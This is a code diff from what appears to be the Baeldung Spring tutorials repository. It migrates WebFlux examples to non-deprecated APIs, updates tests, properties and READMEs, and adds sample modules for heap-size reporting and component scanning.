 - [Mocking a WebClient in Spring](https://www.baeldung.com/spring-mocking-webclient)
 - [Spring WebClient Filters](https://www.baeldung.com/spring-webclient-filters)
+- [Get List of JSON Objects with WebClient](https://www.baeldung.com/spring-webclient-json-list)

spring-5-reactive/src/main/java/com/baeldung/functional/FormHandler.java

@@ -11,7 +11,7 @@ import java.util.concurrent.atomic.AtomicLong;
 
 import static org.springframework.web.reactive.function.BodyExtractors.toDataBuffers;
 import static org.springframework.web.reactive.function.BodyExtractors.toFormData;
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.ServerResponse.ok;
 
 public class FormHandler {
@@ -29,7 +29,7 @@ public class FormHandler {
     Mono<ServerResponse> handleUpload(ServerRequest request) {
         return request.body(toDataBuffers())
             .collectList()
-            .flatMap(dataBuffers -> ok().body(fromObject(extractData(dataBuffers).toString())));
+            .flatMap(dataBuffers -> ok().body(fromValue(extractData(dataBuffers).toString())));
     }
 
     private AtomicLong extractData(List<DataBuffer> dataBuffers) {

spring-5-reactive/src/main/java/com/baeldung/functional/FunctionalSpringBootApplication.java

@@ -1,6 +1,6 @@
 package com.baeldung.functional;
 
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.RequestPredicates.GET;
 import static org.springframework.web.reactive.function.server.RequestPredicates.POST;
 import static org.springframework.web.reactive.function.server.RequestPredicates.path;
@@ -44,7 +44,7 @@ public class FunctionalSpringBootApplication {
                     .doOnNext(actors::add)
                     .then(ok().build()));
 
-        return route(GET("/test"), serverRequest -> ok().body(fromObject("helloworld")))
+        return route(GET("/test"), serverRequest -> ok().body(fromValue("helloworld")))
             .andRoute(POST("/login"), formHandler::handleLogin)
             .andRoute(POST("/upload"), formHandler::handleUpload)
             .and(RouterFunctions.resources("/files/**", new ClassPathResource("files/")))

spring-5-reactive/src/main/java/com/baeldung/functional/FunctionalWebApplication.java

@@ -1,6 +1,6 @@
 package com.baeldung.functional;
 
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.RequestPredicates.GET;
 import static org.springframework.web.reactive.function.server.RequestPredicates.POST;
 import static org.springframework.web.reactive.function.server.RequestPredicates.accept;
@@ -42,7 +42,7 @@ public class FunctionalWebApplication {
             .doOnNext(actors::add)
             .then(ok().build()));
 
-        return route(GET("/test"), serverRequest -> ok().body(fromObject("helloworld"))).andRoute(POST("/login"), formHandler::handleLogin)
+        return route(GET("/test"), serverRequest -> ok().body(fromValue("helloworld"))).andRoute(POST("/login"), formHandler::handleLogin)
             .andRoute(POST("/upload"), formHandler::handleUpload)
             .and(RouterFunctions.resources("/files/**", new ClassPathResource("files/")))
             .andNest(accept(MediaType.APPLICATION_JSON), restfulRouter)

spring-5-reactive/src/main/java/com/baeldung/functional/RootServlet.java

@@ -2,7 +2,7 @@ package com.baeldung.functional;
 
 import static org.springframework.web.reactive.function.BodyExtractors.toDataBuffers;
 import static org.springframework.web.reactive.function.BodyExtractors.toFormData;
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.RequestPredicates.GET;
 import static org.springframework.web.reactive.function.server.RequestPredicates.POST;
 import static org.springframework.web.reactive.function.server.RequestPredicates.path;
@@ -46,7 +46,7 @@ public class RootServlet extends ServletHttpHandlerAdapter {
 
     private static RouterFunction<?> routingFunction() {
 
-        return route(GET("/test"), serverRequest -> ok().body(fromObject("helloworld"))).andRoute(POST("/login"), serverRequest -> serverRequest.body(toFormData())
+        return route(GET("/test"), serverRequest -> ok().body(fromValue("helloworld"))).andRoute(POST("/login"), serverRequest -> serverRequest.body(toFormData())
             .map(MultiValueMap::toSingleValueMap)
             .map(formData -> {
                 System.out.println("form data: " + formData.toString());
@@ -65,7 +65,7 @@ public class RootServlet extends ServletHttpHandlerAdapter {
                     dataBuffers.forEach(d -> atomicLong.addAndGet(d.asByteBuffer()
                         .array().length));
                     System.out.println("data length:" + atomicLong.get());
-                    return ok().body(fromObject(atomicLong.toString()))
+                    return ok().body(fromValue(atomicLong.toString()))
                         .block();
                 }))
             .and(RouterFunctions.resources("/files/**", new ClassPathResource("files/")))

spring-5-reactive/src/main/java/com/baeldung/reactive/errorhandling/GlobalErrorWebExceptionHandler.java

@@ -2,7 +2,8 @@
 package com.baeldung.reactive.errorhandling;
 
 import java.util.Map;
-import org.springframework.boot.autoconfigure.web.ResourceProperties;
+
+import org.springframework.boot.autoconfigure.web.WebProperties;
 import org.springframework.boot.autoconfigure.web.reactive.error.AbstractErrorWebExceptionHandler;
 import org.springframework.boot.web.error.ErrorAttributeOptions;
 import org.springframework.boot.web.reactive.error.ErrorAttributes;
@@ -18,6 +19,7 @@ import org.springframework.web.reactive.function.server.RouterFunction;
 import org.springframework.web.reactive.function.server.RouterFunctions;
 import org.springframework.web.reactive.function.server.ServerRequest;
 import org.springframework.web.reactive.function.server.ServerResponse;
+
 import reactor.core.publisher.Mono;
 
 @Component
@@ -26,7 +28,7 @@ public class GlobalErrorWebExceptionHandler extends AbstractErrorWebExceptionHan
 
     public GlobalErrorWebExceptionHandler(GlobalErrorAttributes g, ApplicationContext applicationContext, 
             ServerCodecConfigurer serverCodecConfigurer) {
-        super(g, new ResourceProperties(), applicationContext);
+        super(g, new WebProperties.Resources(), applicationContext);
         super.setMessageWriters(serverCodecConfigurer.getWriters());
         super.setMessageReaders(serverCodecConfigurer.getReaders());
     }
@@ -41,8 +43,8 @@ public class GlobalErrorWebExceptionHandler extends AbstractErrorWebExceptionHan
         final Map<String, Object> errorPropertiesMap = getErrorAttributes(request, ErrorAttributeOptions.defaults());
 
         return ServerResponse.status(HttpStatus.BAD_REQUEST)
-            .contentType(MediaType.APPLICATION_JSON_UTF8)
-            .body(BodyInserters.fromObject(errorPropertiesMap));
+            .contentType(MediaType.APPLICATION_JSON)
+            .body(BodyInserters.fromValue(errorPropertiesMap));
     }
 
 }

spring-5-reactive/src/main/java/com/baeldung/reactive/errorhandling/handlers/Handler1.java

@@ -14,7 +14,7 @@ public class Handler1 {
         return sayHello(request).onErrorReturn("Hello, Stranger")
             .flatMap(s -> ServerResponse.ok()
                 .contentType(MediaType.TEXT_PLAIN)
-                .syncBody(s));
+                .bodyValue(s));
     }
 
     private Mono<String> sayHello(ServerRequest request) {

spring-5-reactive/src/main/java/com/baeldung/reactive/errorhandling/handlers/Handler2.java

@@ -15,11 +15,11 @@ public Mono<ServerResponse> handleRequest2(ServerRequest request) {
         sayHello(request)
             .flatMap(s -> ServerResponse.ok()
                 .contentType(MediaType.TEXT_PLAIN)
-                .syncBody(s))
+                .bodyValue(s))
             .onErrorResume(e -> sayHelloFallback()
                 .flatMap(s -> ServerResponse.ok()
                     .contentType(MediaType.TEXT_PLAIN)
-                    .syncBody(s)));
+                    .bodyValue(s)));
 }
 
     private Mono<String> sayHello(ServerRequest request) {

spring-5-reactive/src/main/java/com/baeldung/reactive/errorhandling/handlers/Handler3.java

@@ -15,11 +15,11 @@ public class Handler3 {
             sayHello(request)
               .flatMap(s -> ServerResponse.ok()
                         .contentType(MediaType.TEXT_PLAIN)
-                        .syncBody(s))
+                        .bodyValue(s))
               .onErrorResume(e -> (Mono.just("Hi, I looked around for your name but found: " + 
                     e.getMessage())).flatMap(s -> ServerResponse.ok()
                 .contentType(MediaType.TEXT_PLAIN)
-                .syncBody(s)));
+                .bodyValue(s)));
     }
 
     private Mono<String> sayHello(ServerRequest request) {

spring-5-reactive/src/main/java/com/baeldung/reactive/urlmatch/ExploreSpring5URLPatternUsingRouterFunctions.java

@@ -1,6 +1,6 @@
 package com.baeldung.reactive.urlmatch;
 
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.RequestPredicates.GET;
 import static org.springframework.web.reactive.function.server.RouterFunctions.route;
 import static org.springframework.web.reactive.function.server.RouterFunctions.toHttpHandler;
@@ -24,10 +24,10 @@ public class ExploreSpring5URLPatternUsingRouterFunctions {
 
     private RouterFunction<ServerResponse> routingFunction() {
 
-        return route(GET("/p?ths"), serverRequest -> ok().body(fromObject("/p?ths"))).andRoute(GET("/test/{*id}"), serverRequest -> ok().body(fromObject(serverRequest.pathVariable("id"))))
-            .andRoute(GET("/*card"), serverRequest -> ok().body(fromObject("/*card path was accessed")))
-            .andRoute(GET("/{var1}_{var2}"), serverRequest -> ok().body(fromObject(serverRequest.pathVariable("var1") + " , " + serverRequest.pathVariable("var2"))))
-            .andRoute(GET("/{baeldung:[a-z]+}"), serverRequest -> ok().body(fromObject("/{baeldung:[a-z]+} was accessed and baeldung=" + serverRequest.pathVariable("baeldung"))))
+        return route(GET("/p?ths"), serverRequest -> ok().body(fromValue("/p?ths"))).andRoute(GET("/test/{*id}"), serverRequest -> ok().body(fromValue(serverRequest.pathVariable("id"))))
+            .andRoute(GET("/*card"), serverRequest -> ok().body(fromValue("/*card path was accessed")))
+            .andRoute(GET("/{var1}_{var2}"), serverRequest -> ok().body(fromValue(serverRequest.pathVariable("var1") + " , " + serverRequest.pathVariable("var2"))))
+            .andRoute(GET("/{baeldung:[a-z]+}"), serverRequest -> ok().body(fromValue("/{baeldung:[a-z]+} was accessed and baeldung=" + serverRequest.pathVariable("baeldung"))))
             .and(RouterFunctions.resources("/files/{*filepaths}", new ClassPathResource("files/")));
     }
 

spring-5-reactive/src/main/java/com/baeldung/reactive/urlmatch/FormHandler.java

@@ -11,7 +11,7 @@ import java.util.concurrent.atomic.AtomicLong;
 
 import static org.springframework.web.reactive.function.BodyExtractors.toDataBuffers;
 import static org.springframework.web.reactive.function.BodyExtractors.toFormData;
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.ServerResponse.ok;
 
 public class FormHandler {
@@ -29,7 +29,7 @@ public class FormHandler {
     Mono<ServerResponse> handleUpload(ServerRequest request) {
         return request.body(toDataBuffers())
             .collectList()
-            .flatMap(dataBuffers -> ok().body(fromObject(extractData(dataBuffers).toString())));
+            .flatMap(dataBuffers -> ok().body(fromValue(extractData(dataBuffers).toString())));
     }
 
     private AtomicLong extractData(List<DataBuffer> dataBuffers) {

spring-5-reactive/src/main/java/com/baeldung/reactive/urlmatch/FunctionalWebApplication.java

@@ -1,6 +1,6 @@
 package com.baeldung.reactive.urlmatch;
 
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.server.RequestPredicates.GET;
 import static org.springframework.web.reactive.function.server.RequestPredicates.POST;
 import static org.springframework.web.reactive.function.server.RequestPredicates.path;
@@ -40,7 +40,7 @@ public class FunctionalWebApplication {
             .doOnNext(actors::add)
             .then(ok().build()));
 
-        return route(GET("/test"), serverRequest -> ok().body(fromObject("helloworld"))).andRoute(POST("/login"), formHandler::handleLogin)
+        return route(GET("/test"), serverRequest -> ok().body(fromValue("helloworld"))).andRoute(POST("/login"), formHandler::handleLogin)
             .andRoute(POST("/upload"), formHandler::handleUpload)
             .and(RouterFunctions.resources("/files/**", new ClassPathResource("files/")))
             .andNest(path("/actor"), restfulRouter)

spring-5-reactive/src/test/java/com/baeldung/functional/FunctionalWebApplicationIntegrationTest.java

@@ -1,17 +1,15 @@
 package com.baeldung.functional;
 
-import static org.springframework.web.reactive.function.BodyInserters.fromObject;
+import static org.springframework.web.reactive.function.BodyInserters.fromValue;
 import static org.springframework.web.reactive.function.BodyInserters.fromResource;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.springframework.boot.web.server.WebServer;
 import org.springframework.core.io.ClassPathResource;
 import org.springframework.core.io.Resource;
 import org.springframework.http.MediaType;
-import org.springframework.security.test.context.support.WithMockUser;
 import org.springframework.test.web.reactive.server.WebTestClient;
 import org.springframework.util.LinkedMultiValueMap;
 import org.springframework.util.MultiValueMap;
@@ -115,7 +113,7 @@ public class FunctionalWebApplicationIntegrationTest {
 
         client.post()
             .uri("/actor")
-            .body(fromObject(new Actor("Clint", "Eastwood")))
+            .body(fromValue(new Actor("Clint", "Eastwood")))
             .exchange()
             .expectStatus()
             .isOk();

spring-5-reactive/src/test/java/com/baeldung/reactive/errorhandling/ErrorHandlingIntegrationTest.java

@@ -133,7 +133,7 @@ public class ErrorHandlingIntegrationTest {
             .expectStatus()
             .isBadRequest()
             .expectHeader()
-            .contentType(MediaType.APPLICATION_JSON_UTF8)
+            .contentType(MediaType.APPLICATION_JSON)
             .expectBody()
             .jsonPath("$.message")
             .isNotEmpty()
@@ -164,7 +164,7 @@ public class ErrorHandlingIntegrationTest {
             .expectStatus()
             .isBadRequest()
             .expectHeader()
-            .contentType(MediaType.APPLICATION_JSON_UTF8)
+            .contentType(MediaType.APPLICATION_JSON)
             .expectBody()
             .jsonPath("$.message")
             .isNotEmpty()

spring-5-reactive/src/test/java/com/baeldung/web/client/WebClientIntegrationTest.java

@@ -11,8 +11,6 @@ import java.util.Map;
 import java.util.concurrent.TimeUnit;
 
 import org.junit.jupiter.api.Test;
-import org.reactivestreams.Publisher;
-import org.reactivestreams.Subscriber;
 import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.boot.test.context.SpringBootTest.WebEnvironment;
 import org.springframework.boot.web.server.LocalServerPort;
@@ -41,6 +39,7 @@ import com.baeldung.web.reactive.client.Foo;
 import com.baeldung.web.reactive.client.WebClientApplication;
 
 import io.netty.channel.ChannelOption;
+import io.netty.handler.timeout.ReadTimeoutException;
 import io.netty.handler.timeout.ReadTimeoutHandler;
 import io.netty.handler.timeout.WriteTimeoutHandler;
 import reactor.core.publisher.Mono;
@@ -265,17 +264,18 @@ public class WebClientIntegrationTest {
                 .addHandlerLast(new WriteTimeoutHandler(1000, TimeUnit.MILLISECONDS)));
 
         WebClient timeoutClient = WebClient.builder()
+            .baseUrl("http://localhost:" + port)
             .clientConnector(new ReactorClientHttpConnector(httpClient))
             .build();
 
-        BodyInserter<Publisher<String>, ReactiveHttpOutputMessage> inserterCompleteSuscriber = BodyInserters.fromPublisher(Subscriber::onComplete, String.class);
-        RequestHeadersSpec<?> headersSpecInserterCompleteSuscriber = timeoutClient.post()
+        RequestHeadersSpec<?> neverendingMonoBodyRequest = timeoutClient.post()
             .uri("/resource")
-            .body(inserterCompleteSuscriber);
+            .body(Mono.never(), String.class);
 
-        StepVerifier.create(headersSpecInserterCompleteSuscriber.retrieve()
+        StepVerifier.create(neverendingMonoBodyRequest.retrieve()
             .bodyToMono(String.class))
-            .expectTimeout(Duration.ofMillis(2000))
+            .expectErrorMatches(ex -> WebClientRequestException.class.isAssignableFrom(ex.getClass()) && ReadTimeoutException.class.isAssignableFrom(ex.getCause()
+                .getClass()))
             .verify();
     }
 

spring-5/README.md

@@ -11,3 +11,5 @@ This module contains articles about Spring 5
 - [Spring Assert Statements](https://www.baeldung.com/spring-assert)
 - [Difference between \<context:annotation-config> vs \<context:component-scan>](https://www.baeldung.com/spring-contextannotation-contextcomponentscan)
 - [Finding the Spring Version](https://www.baeldung.com/spring-find-version)
+- [Spring 5 Testing with @EnabledIf Annotation](https://www.baeldung.com/spring-5-enabledIf)
+- [Configuring a Hikari Connection Pool with Spring Boot](https://www.baeldung.com/spring-boot-hikari)

spring-5/src/test/java/com/baeldung/README.md

@@ -0,0 +1,3 @@
+### Relevant Articles:
+
+- [Concurrent Test Execution in Spring 5](https://www.baeldung.com/spring-5-concurrent-tests)

spring-aop/README.md

@@ -11,3 +11,4 @@ This module contains articles about Spring aspect oriented programming (AOP)
 - [Introduction to Pointcut Expressions in Spring](https://www.baeldung.com/spring-aop-pointcut-tutorial)
 - [Introduction to Advice Types in Spring](https://www.baeldung.com/spring-aop-advice-tutorial)
 - [When Does Java Throw UndeclaredThrowableException?](https://www.baeldung.com/java-undeclaredthrowableexception)
+- [Get Advised Method Info in Spring AOP](https://www.baeldung.com/spring-aop-get-advised-method-info)

spring-boot-modules/pom.xml

@@ -62,6 +62,7 @@
         <module>spring-boot-properties-3</module>
         <module>spring-boot-property-exp</module>
         <module>spring-boot-runtime</module>
+        <module>spring-boot-runtime-2</module>
         <module>spring-boot-security</module>
         <module>spring-boot-springdoc</module>
         <module>spring-boot-swagger</module>

spring-boot-modules/spring-boot-actuator/pom.xml

@@ -11,7 +11,7 @@
     <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
-        <version>2.3.0.RELEASE</version>
+        <version>2.3.2.RELEASE</version>
         <relativePath/> <!-- lookup parent from repository -->
     </parent>
 

spring-boot-modules/spring-boot-actuator/src/main/resources/application.properties

@@ -1,4 +1,6 @@
-management.health.probes.enabled=true
+management.endpoint.health.probes.enabled=true
+management.health.livenessState.enabled=true
+management.health.readinessState.enabled=true
 management.endpoint.health.show-details=always
 management.endpoint.health.status.http-mapping.down=500
 management.endpoint.health.status.http-mapping.out_of_service=503
@@ -8,4 +10,4 @@ management.endpoint.health.status.http-mapping.warning=500
 info.app.name=Spring Sample Application
 info.app.description=This is my first spring boot application G1
 info.app.version=1.0.0
-info.java-vendor = ${java.specification.vendor}
+info.java-vendor = ${java.specification.vendor}

spring-boot-modules/spring-boot-data-2/README.md

@@ -1,4 +1,3 @@
 ### Relevant Articles:
 
 - [Spring Boot: Customize the Jackson ObjectMapper](https://www.baeldung.com/spring-boot-customize-jackson-objectmapper)
-- [Configuring a Hikari Connection Pool with Spring Boot](https://www.baeldung.com/spring-boot-hikari)

spring-boot-modules/spring-boot-runtime-2/README.md

@@ -0,0 +1,6 @@
+## Spring Boot Runtime 2
+
+This module contains articles about administering a Spring Boot runtime
+
+### Relevant Articles:									
+ - 

spring-boot-modules/spring-boot-runtime-2/pom.xml

@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>com.baeldung.spring-boot-modules</groupId>
+        <artifactId>spring-boot-modules</artifactId>
+        <version>1.0.0-SNAPSHOT</version>
+        <relativePath>../</relativePath>
+    </parent>
+
+    <artifactId>spring-boot-runtime-2</artifactId>
+    <packaging>jar</packaging>
+
+    <name>spring-boot-runtime-2</name>
+    <description>Demo project for Spring Boot</description>
+
+    <dependencies>
+
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-web</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-test</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <finalName>${project.artifactId}</finalName>
+        <resources>
+            <resource>
+                <directory>src/main/resources/heap</directory>
+                <targetPath>${project.build.directory}</targetPath>
+                <filtering>true</filtering>
+                <includes>
+                    <include>${project.name}.conf</include>
+                </includes>
+            </resource>
+        </resources>
+        <plugins>
+            <plugin>
+                <groupId>org.springframework.boot</groupId>
+                <artifactId>spring-boot-maven-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <configuration>
+                            <mainClass>com.baeldung.heap.HeapSizeDemoApplication</mainClass>
+                        </configuration>
+                    </execution>
+                </executions>
+                <configuration>
+                    <executable>true</executable>
+                    <jvmArguments>
+                        -Xms256m
+                        -Xmx1g
+                    </jvmArguments>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+</project>

spring-boot-modules/spring-boot-runtime-2/src/main/java/com/baeldung/heap/HeapSizeDemoApplication.java

@@ -0,0 +1,12 @@
+package com.baeldung.heap;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class HeapSizeDemoApplication {
+
+    public static void main(String[] args) {
+        SpringApplication.run(HeapSizeDemoApplication.class, args);
+    }
+}

spring-boot-modules/spring-boot-runtime-2/src/main/java/com/baeldung/heap/MemoryStats.java

@@ -0,0 +1,31 @@
+package com.baeldung.heap;
+
+public class MemoryStats {
+    private long heapSize;
+    private long heapMaxSize;
+    private long heapFreeSize;
+    
+    public long getHeapSize() {
+        return heapSize;
+    }
+    
+    public void setHeapSize(long heapSize) {
+        this.heapSize = heapSize;
+    }
+    
+    public long getHeapMaxSize() {
+        return heapMaxSize;
+    }
+    
+    public void setHeapMaxSize(long heapMaxSize) {
+        this.heapMaxSize = heapMaxSize;
+    }
+    
+    public long getHeapFreeSize() {
+        return heapFreeSize;
+    }
+    
+    public void setHeapFreeSize(long heapFreeSize) {
+        this.heapFreeSize = heapFreeSize;
+    }
+}

spring-boot-modules/spring-boot-runtime-2/src/main/java/com/baeldung/heap/MemoryStatusController.java

@@ -0,0 +1,20 @@
+package com.baeldung.heap;
+
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class MemoryStatusController {
+
+    @GetMapping("memory-status")
+    public MemoryStats getMemoryStatistics() {
+        MemoryStats stats = new MemoryStats();
+        stats.setHeapSize(Runtime.getRuntime()
+            .totalMemory());
+        stats.setHeapMaxSize(Runtime.getRuntime()
+            .maxMemory());
+        stats.setHeapFreeSize(Runtime.getRuntime()
+            .freeMemory());
+        return stats;
+    }
+}

spring-boot-modules/spring-boot-runtime-2/src/main/resources/heap/spring-boot-runtime-2.conf

@@ -0,0 +1 @@
+JAVA_OPTS="-Xms512m -Xmx1024m"

spring-boot-modules/spring-boot-runtime-2/src/test/java/com/baeldung/heap/MemoryStatusControllerIntegrationTest.java

@@ -0,0 +1,32 @@
+package com.baeldung.heap;
+
+import static org.hamcrest.Matchers.notANumber;
+import static org.hamcrest.Matchers.not;
+import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
+import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
+import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
+import org.springframework.http.MediaType;
+import org.springframework.test.context.junit4.SpringRunner;
+import org.springframework.test.web.servlet.MockMvc;
+
+@RunWith(SpringRunner.class)
+@WebMvcTest(MemoryStatusController.class)
+public class MemoryStatusControllerIntegrationTest {
+
+    @Autowired
+    private MockMvc mvc;
+
+    @Test
+    public void whenGetMemoryStatistics_thenReturnJsonArray() throws Exception {
+        mvc.perform(get("/memory-status").contentType(MediaType.APPLICATION_JSON))
+            .andExpect(status().isOk())
+            .andExpect(jsonPath("heapSize", not(notANumber())))
+            .andExpect(jsonPath("heapMaxSize", not(notANumber())))
+            .andExpect(jsonPath("heapFreeSize", not(notANumber())));
+    }
+}

spring-boot-modules/spring-boot-springdoc/README.md

@@ -2,3 +2,4 @@
 
 - [Documenting a Spring REST API Using OpenAPI 3.0](https://www.baeldung.com/spring-rest-openapi-documentation)
 - [Spring REST Docs vs OpenAPI](https://www.baeldung.com/spring-rest-docs-vs-openapi)
+- [Hiding Endpoints From Swagger Documentation in Spring Boot](https://www.baeldung.com/spring-swagger-hiding-endpoints)

spring-core-3/README.md

@@ -11,4 +11,4 @@ This module contains articles about core Spring functionality
 - [Difference Between BeanFactory and ApplicationContext](https://www.baeldung.com/spring-beanfactory-vs-applicationcontext)
 - [A Spring Custom Annotation for a Better DAO](http://www.baeldung.com/spring-annotation-bean-pre-processor)
 - [Custom Scope in Spring](http://www.baeldung.com/spring-custom-scope)
-- More articles: [[<-- prev]](/spring-core-2)
+- More articles: [[<-- prev]](/spring-core-2) [[next -->]](/spring-core-4)

spring-core-4/README.md

@@ -11,4 +11,4 @@ This module contains articles about core Spring functionality
 - [Using @Autowired in Abstract Classes](https://www.baeldung.com/spring-autowired-abstract-class)
 - [Constructor Injection in Spring with Lombok](https://www.baeldung.com/spring-injection-lombok)
 - [The Spring ApplicationContext](https://www.baeldung.com/spring-application-context)
-- More articles: [[<-- prev]](/spring-core-3)
+- More articles: [[<-- prev]](/spring-core-3) [[next -->]](/spring-core-5)

spring-core-5/README.md

@@ -0,0 +1,7 @@
+## Spring Core
+
+This module contains articles about core Spring functionality
+
+## Relevant Articles:
+
+- More articles: [[<-- prev]](/spring-core-4)

spring-core-5/pom.xml

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project xmlns="http://maven.apache.org/POM/4.0.0"
+         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <artifactId>spring-core-5</artifactId>
+    <name>spring-core-5</name>
+
+    <parent>
+        <groupId>com.baeldung</groupId>
+        <artifactId>parent-spring-5</artifactId>
+        <version>0.0.1-SNAPSHOT</version>
+        <relativePath>../parent-spring-5</relativePath>
+    </parent>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter</artifactId>
+            <version>${spring-boot-starter.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-test</artifactId>
+            <version>${spring-boot-starter.version}</version>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <version>${maven.surefire.version}</version>
+            </plugin>
+        </plugins>
+    </build>
+
+    <properties>
+        <spring.version>5.3.3</spring.version>
+        <spring-boot-starter.version>2.4.2</spring-boot-starter.version>
+        <maven.surefire.version>2.22.1</maven.surefire.version>
+    </properties>
+
+</project>

spring-core-5/src/main/java/com/baeldung/component/inscope/AmbiguousBean.java

@@ -0,0 +1,4 @@
+package com.baeldung.component.inscope;
+
+public interface AmbiguousBean {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/BeanExample.java

@@ -0,0 +1,4 @@
+package com.baeldung.component.inscope;
+
+public class BeanExample {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/BeanImplA.java

@@ -0,0 +1,4 @@
+package com.baeldung.component.inscope;
+
+public class BeanImplA implements AmbiguousBean {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/BeanImplB.java

@@ -0,0 +1,4 @@
+package com.baeldung.component.inscope;
+
+public class BeanImplB implements AmbiguousBean {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/ComponentApplication.java

@@ -0,0 +1,42 @@
+package com.baeldung.component.inscope;
+
+import com.baeldung.component.outsidescope.OutsideScopeBeanExample;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+@SpringBootApplication
+@ComponentScan({"com.baeldung.component.inscope", "com.baeldung.component.scannedscope"})
+@Configuration
+public class ComponentApplication {
+
+    @Value( "${ambiguous-bean}" )
+    public String ambiguousBean;
+
+    public static void main(String[] args) {
+        SpringApplication.run( ComponentApplication.class, args );
+    }
+
+    @Bean
+    public BeanExample beanExample() {
+        return new BeanExample();
+    }
+
+    @Bean
+    public OutsideScopeBeanExample outsideScopeBeanExample() {
+        return new OutsideScopeBeanExample();
+    }
+
+    @Bean
+    public AmbiguousBean ambiguousBean() {
+        if (ambiguousBean.equals("A")) {
+            return new BeanImplA();
+        }
+        else {
+            return new BeanImplB();
+        }
+    }
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/ComponentExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.inscope;
+
+import org.springframework.stereotype.Component;
+
+@Component
+public class ComponentExample {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/ControllerExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.inscope;
+
+import org.springframework.stereotype.Controller;
+
+@Controller
+public class ControllerExample {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/CustomComponent.java

@@ -0,0 +1,14 @@
+package com.baeldung.component.inscope;
+
+import org.springframework.stereotype.Component;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Component
+public @interface CustomComponent {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/CustomComponentExample.java

@@ -0,0 +1,5 @@
+package com.baeldung.component.inscope;
+
+@CustomComponent
+public class CustomComponentExample {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/RepositoryExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.inscope;
+
+import org.springframework.stereotype.Repository;
+
+@Repository
+public class RepositoryExample {
+}

spring-core-5/src/main/java/com/baeldung/component/inscope/ServiceExample.java

@@ -0,0 +1,7 @@
+package com.baeldung.component.inscope;
+
+import org.springframework.stereotype.Service;
+
+@Service
+public class ServiceExample {
+}

spring-core-5/src/main/java/com/baeldung/component/outsidescope/OutsideScopeBeanExample.java

@@ -0,0 +1,4 @@
+package com.baeldung.component.outsidescope;
+
+public class OutsideScopeBeanExample {
+}

